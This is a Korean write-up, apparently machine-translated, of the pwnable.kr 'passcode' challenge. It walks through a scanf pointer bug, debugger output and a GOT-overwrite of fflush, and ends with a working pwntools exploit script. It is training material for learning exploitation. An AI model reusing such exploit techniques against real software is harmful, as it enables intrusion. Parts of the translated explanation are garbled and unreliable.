Pwnable.kr - 비밀번호 : 기입

9613 단어 securityctfwriteup

문제 찾기



먼저 우리가 가지고 있는 코드를 살펴보겠습니다.

int main()
{
    printf("Toddler's Secure Login System 1.0 beta.\n");

    welcome();
    login();

    // something after login...
    printf("Now I can safely trust you that you have credential :)\n");
    return 0;
}

main() 함수는 welcome()login() 두 개의 다른 함수를 호출합니다.

void welcome()
{
    char name[100];
    printf("enter you name : ");
    scanf("%100s", name);
    printf("Welcome %s!\n", name);
}

welcome()는 100바이트 버퍼에서 이름을 가져오고 다시 인쇄합니다.

void login()
{
    int passcode1;
    int passcode2;

    printf("enter passcode1 : ");
    scanf("%d", passcode1);
    fflush(stdin);

    // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
    printf("enter passcode2 : ");
    scanf("%d", passcode2);

    printf("checking...\n");
    if (passcode1 == 338150 && passcode2 == 13371337)
    {
        printf("Login OK!\n");
        system("/bin/cat flag");
    }
    else
    {
        printf("Login Failed!\n");
        exit(0);
    }
}

login()는 두 개의 암호를 입력하라는 메시지를 표시하고 적합하면 플래그를 표시합니다.

응용 프로그램을 테스트할 때 테스트가 호출되면 세분화 오류가 발생합니다.



따라서 행에 문제가 있는 것 같습니다.

if (passcode1 == 338150 && passcode2 == 13371337)


내 Neovim에서 코드를 열 때 형식이 scanf를 지정하지만 인수가 login()라는 int *에 대한 int 줄에 대한 경고도 표시됩니다. 즉, 주소를 호출하고 값을 가져오는 대신 코드가 passcode1passcode2를 주소로 전달합니다. 세분화 오류의 원인이 될 수 있습니다.

바이너리 디버깅



디버거를 열어봅시다:

rz -d passcode

login()를 살펴보겠습니다.


passcode1passcode2가 저장된 int32 변수임을 알 수 있습니다. 그러나 cmp dword [var_10h], 0x528e6cmp dword [var_ch], 0xcc07c9 행은 값이 아닌 주소를 비교합니다.

이제 welcome()를 살펴보겠습니다.



값이 저장되는 방식을 볼 수 있습니다. welcome() 에서 입력한 이름은 var_70h 에 저장되고 lea 로 호출됩니다.
login() 에는 lea 의 부호가 없지만 변수는 mov 로 직접 호출됩니다. 차이점은 무엇입니까? lea는 "유효 주소 로드"를 나타내며 mov는 주소를 레지스터로만 이동합니다. 이것은 변수가 포인터가 있는 변수가 아니라 우리를 버그로 이끄는 주소로 보인다는 우리의 이론을 확증합니다. 실제로 코드는 분명히 존재하지 않는 주소passcode1passcode2를 로드하려고 시도합니다.

악용하다



악성 페이로드를 실행하기 위해 메모리에 어떻게 액세스할 수 있습니까? 내 첫 번째 아이디어는 이름을 묻는 메시지가 표시될 때 페이로드를 넣는 것입니다. 그러나 이 변수는 login()에서 호출되지 않아 해당 섹션으로 이동할 수 없습니다. 그러나 fflush() 에는 login() 명령이 있습니다. fflush()는 가져온 함수입니다. 즉, 바이너리가 시작될 때 로드됩니다. 즉, 여기서 코드를 하이재킹하고(this 참조) 자체 페이로드로 덮어쓸 수 있습니다. 또한 fflush()jmp 명령이 있는 것처럼 작동합니다.

그래서 다음과 같습니다.
  • 버퍼 끝에 도달
  • jmp(0x804a004)를 얻기 위해 fflush의 주소를 설정하고 제어 또는 EIP를 얻습니다.
  • jmp 플래그를 인쇄하는 시스템 호출에 (0x080485ea)

  • 작동 할 때까지 형식을 속이는 데 시간을 보냈습니다. 두 번째 주소가 16진수가 아닌 숫자여야 하는 이유를 잘 모르겠습니다. 하지만 어... 작동했습니다. 또한 두 번째 수신 호출을 recvall()가 아닌 recvline()로 호출하는 것이 중요하며 원하는 출력은 나중에 프로세스에서 나옵니다. 내 악용 코드를 검토하고 그 부분을 잊고 며칠을 보냈습니다.

    로컬 익스플로잇 코드는 다음과 같습니다.

    from pwn import *
    
    context.update(arch="i386", os="linux")
    e = ELF("./passcode")
    
    name = b"A" * 96
    name += p32(0x804a004)
    name += str.encode(str(0x080485d7))
    
    p = e.process(level="error")
    # header
    print(p.recvline())
    p.sendline(name)
    print(p.recvall())
    


    온라인에서 찾아보면 다른 악용 솔루션, 특히 oneliner가 있습니다. 그러나 어떤 이유로 Python2에서만 작동합니다. 나는 이유를 이해할 수 없었다. 그것에 대해 알고 있다면 의견에 알려주십시오!

    좋은 웹페이지 즐겨찾기